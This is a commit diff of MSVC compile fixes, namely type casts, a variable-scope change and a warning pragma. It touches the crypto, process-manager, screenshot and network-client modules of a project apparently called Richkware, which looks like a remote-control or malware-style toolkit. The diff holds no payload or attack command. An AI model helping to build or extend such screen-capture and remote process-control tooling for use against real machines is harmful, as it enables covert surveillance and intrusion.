Final MSVC compilation fixes: cast size_t conversions, fix bmp_data scope, disable deprecated warnings

Author: richkmeli

src/crypto/cipher.cpp

@@ -143,7 +143,7 @@ std::string base64_encode(const core::Bytes& data) {
     BIO_write(bio, data.data(), static_cast<int>(data.size()));
     BIO_flush(bio);
     BIO_get_mem_ptr(bio, &bufferPtr);
-    std::string encoded(bufferPtr->data, bufferPtr->length);
+    std::string encoded(bufferPtr->data, static_cast<size_t>(bufferPtr->length));
     BIO_free_all(bio);
 
     return encoded;

src/modules/process_manager.cpp

@@ -244,7 +244,7 @@ class ProcessManager::Impl {
         }
 
         if (!CreateProcessW(NULL, cmd_line_w.data(), NULL, NULL, FALSE, 0, NULL,
-                           work_dir_w.empty() ? NULL : work_dir_w.data(), &si, &pi)) {
+                           work_dir_w.empty() ? NULL : work_dir_w.data(), reinterpret_cast<STARTUPINFOW*>(&si), &pi)) {
             return core::RichkwareError{core::ErrorCode::SystemError, "Cannot create process"};
         }
 

src/modules/screenshot.cpp

@@ -206,6 +206,7 @@ class Screenshot::Impl {
         bmi.bmiHeader.biCompression = BI_RGB;
 
         HDC hDC = GetDC(NULL);
+        core::Bytes bmp_data;
         void* pBits;
         HBITMAP hDIB = CreateDIBSection(hDC, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
 
@@ -219,7 +220,7 @@ class Screenshot::Impl {
             GetDIBits(hMemDC, hBitmap, 0, height, pBits, &bmi, DIB_RGB_COLORS);
 
             // Create BMP file in memory
-            core::Bytes bmp_data = create_bmp_from_pixels(static_cast<uint8_t*>(pBits), width, height);
+            bmp_data = create_bmp_from_pixels(static_cast<uint8_t*>(pBits), width, height);
 
             SelectObject(hMemDC, hOld);
             DeleteDC(hMemDC);

src/network/client.cpp

@@ -10,7 +10,7 @@
 #include <openssl/err.h>
 
 #ifdef _WIN32
-#define _WINSOCK_DEPRECATED_NO_WARNINGS
+#pragma warning(disable: 4996)
 #include <winsock2.h>
 #include <ws2tcpip.h>
 #pragma comment(lib, "ws2_32.lib")